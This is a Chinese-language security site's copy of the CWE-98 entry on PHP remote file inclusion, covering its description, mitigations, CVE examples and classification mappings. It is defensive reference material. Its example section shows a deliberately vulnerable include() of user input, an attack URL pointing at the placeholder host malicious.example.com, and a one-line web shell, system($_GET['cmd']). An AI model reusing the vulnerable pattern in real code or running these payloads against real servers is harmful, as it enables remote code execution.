CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)

admin 2022年1月7日03:01:09CWE(弱点枚举)评论18 views13430字阅读44分46秒阅读模式

CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含)

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

结构: Simple

Abstraction: Variant

状态: Draft

被利用可能性: High

基本描述

The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.

扩展描述

In certain versions and configurations of PHP, this can allow an attacker to specify a URL to a remote location from which the software will obtain the code to execute. In other cases in association with path traversal, the attacker can specify a local file that may contain executable statements that can be parsed by PHP.

相关缺陷

  • cwe_Nature: ChildOf cwe_CWE_ID: 706 cwe_View_ID: 1000

  • cwe_Nature: ChildOf cwe_CWE_ID: 829 cwe_View_ID: 699 cwe_Ordinal: Primary

  • cwe_Nature: ChildOf cwe_CWE_ID: 829 cwe_View_ID: 1000 cwe_Ordinal: Primary

  • cwe_Nature: CanPrecede cwe_CWE_ID: 94 cwe_View_ID: 1000

  • cwe_Nature: CanPrecede cwe_CWE_ID: 94 cwe_View_ID: 699

  • cwe_Nature: CanAlsoBe cwe_CWE_ID: 426 cwe_View_ID: 1000

  • cwe_Nature: PeerOf cwe_CWE_ID: 216 cwe_View_ID: 1000

适用平台

Language: {'cwe_Name': 'PHP', 'cwe_Prevalence': 'Often'}

常见的影响

范围 影响 注释
['Integrity', 'Confidentiality', 'Availability'] Execute Unauthorized Code or Commands The attacker may be able to specify arbitrary code to be executed from a remote location. Alternatively, it may be possible to use normal program behavior to insert php code into files on the local machine which can then be included and force the code to execute since php ignores everything in the file except for the content between php specifiers.

检测方法

Manual Analysis

Manual white-box analysis can be very effective for finding this issue, since there is typically a relatively small number of include or require statements in each program.

Automated Static Analysis

The external control or influence of filenames can often be detected using automated static analysis that models data flow within the software.

Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes. If the program uses a customized input validation library, then some tools may allow the analyst to create custom signatures to detect usage of those routines.

可能的缓解方案

MIT-4 Architecture and Design

策略: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

MIT-21.1 Architecture and Design

策略: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

MIT-15 Architecture and Design

策略:

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

MIT-22 ['Architecture and Design', 'Operation']

策略: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

MIT-17 ['Architecture and Design', 'Operation']

策略: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

MIT-5.1 Implementation

策略: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.
Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

MIT-34 ['Architecture and Design', 'Operation']

策略: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

MIT-6 ['Architecture and Design', 'Implementation']

策略: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

MIT-29 Operation

策略: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

['Operation', 'Implementation']

策略: Environment Hardening

Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.

MIT-16 ['Operation', 'Implementation']

策略: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.

Operation

策略: Environment Hardening

Set allow_url_fopen to false, which limits the ability to include files from remote locations.

示例代码

The following code, victim.php, attempts to include a function contained in a separate PHP page on the server. It builds the path to the file by using the supplied 'module_name' parameter and appending the string '/function.php' to it.

bad PHP

$dir = $_GET['module_name'];
include($dir . "/function.php");

The problem with the above code is that the value of $dir is not restricted in any way, and a malicious user could manipulate the 'module_name' parameter to force inclusion of an unanticipated file. For example, an attacker could request the above PHP page (example.php) with a 'module_name' of "http://malicious.example.com" by using the following request string:

attack

victim.php?module_name=http://malicious.example.com

Upon receiving this request, the code would set 'module_name' to the value "http://malicious.example.com" and would attempt to include http://malicious.example.com/function.php, along with any malicious code it contains.

For the sake of this example, assume that the malicious version of function.php looks like the following:

bad

system($_GET['cmd']);

An attacker could now go a step further in our example and provide a request string as follows:

attack

victim.php?module_name=http://malicious.example.com&cmd=/bin/ls%20-l

The code will attempt to include the malicious function.php file from the remote site. In turn, this file executes the command specified in the 'cmd' parameter from the query string. The end result is an attempt by tvictim.php to execute the potentially malicious command, in this case:

attack

/bin/ls -l

Note that the above PHP example can be mitigated by setting allow_url_fopen to false, although this will not fully protect the code. See potential mitigations.

分析过的案例

标识 说明 链接
CVE-2004-0285 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0285
CVE-2004-0030 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0030
CVE-2004-0068 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0068
CVE-2005-2157 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2157
CVE-2005-2162 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2162
CVE-2005-2198 Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2198
CVE-2004-0128 Modification of assumed-immutable variable in configuration script leads to file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0128
CVE-2005-1864 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1864
CVE-2005-1869 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1869
CVE-2005-1870 PHP file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1870
CVE-2005-2154 PHP local file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2154
CVE-2002-1704 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1704
CVE-2002-1707 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1707
CVE-2005-1964 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1964
CVE-2005-1681 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1681
CVE-2005-2086 PHP remote file include. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2086
CVE-2004-0127 Directory traversal vulnerability in PHP include statement. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0127
CVE-2005-1971 Directory traversal vulnerability in PHP include statement. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1971
CVE-2005-3335 PHP file inclusion issue, both remote and local; local include uses ".." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3335
CVE-2009-1936 chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1936

Notes

Relationship

Research Gap
Under-researched and under-reported. Other interpreted languages with "require" and "include" functionality could also product vulnerable applications, but as of 2007, PHP has been the focus. Any web-accessible language that uses executable file extensions is likely to have this type of issue, such as ASP, since .asp extensions are typically executable. Languages such as Perl are less likely to exhibit these problems because the .pl extension isn't always configured to be executable by the web server.

分类映射

映射的分类名 ImNode ID Fit Mapped Node Name
PLOVER PHP File Include
OWASP Top Ten 2007 A3 CWE More Specific Malicious File Execution
WASC 5 Remote File Inclusion

相关攻击模式

  • CAPEC-193

引用

文章来源于互联网:scap中文网

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月7日03:01:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  CWE-98 PHP程序中Include/Require语句包含文件控制不恰当(PHP远程文件包含) http://cn-sec.com/archives/612658.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: